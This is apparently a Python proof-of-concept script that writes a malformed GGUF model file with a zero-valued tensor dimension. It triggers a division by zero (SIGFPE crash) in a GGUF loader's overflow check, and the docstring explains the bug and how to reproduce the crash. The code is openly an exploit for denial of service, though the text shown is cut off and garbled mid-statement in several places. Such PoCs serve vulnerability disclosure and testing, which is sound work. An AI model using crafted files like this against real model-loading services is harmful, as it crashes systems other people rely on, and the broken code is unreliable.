""" PoC GGUF Generator -- Division by Zero in Tensor Validation ============================================================= Crafts a GGUF file with a zero-valued dimension that triggers INT64_MAX / 0 in gguf_init_from_file_impl()'s overflow check. The code validates ne[j] < 0 (rejects negative) but NOT ne[j] == 0. With n_dims >= 2 and ne[1] = 0: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE. Usage: python craft_divzero_gguf.py # Generate divzero.gguf python craft_divzero_gguf.py -o custom.gguf Then test: ./llama-gguf-hash divzero.gguf # Expected: Floating point exception (SIGFPE) / crash """ import argparse import struct GGUF_MAGIC = 0x46554747 GGUF_VERSION = 3 GGUF_DEFAULT_ALIGNMENT = 32 GGUF_TYPE_STRING = 8 GGML_TYPE_F32 = 0 def write_gguf_string(f, s): encoded = s.encode("utf-8") f.write(struct.pack(" SIGFPE") print() with open(args.output, "wb") as f: # Header f.write(struct.pack("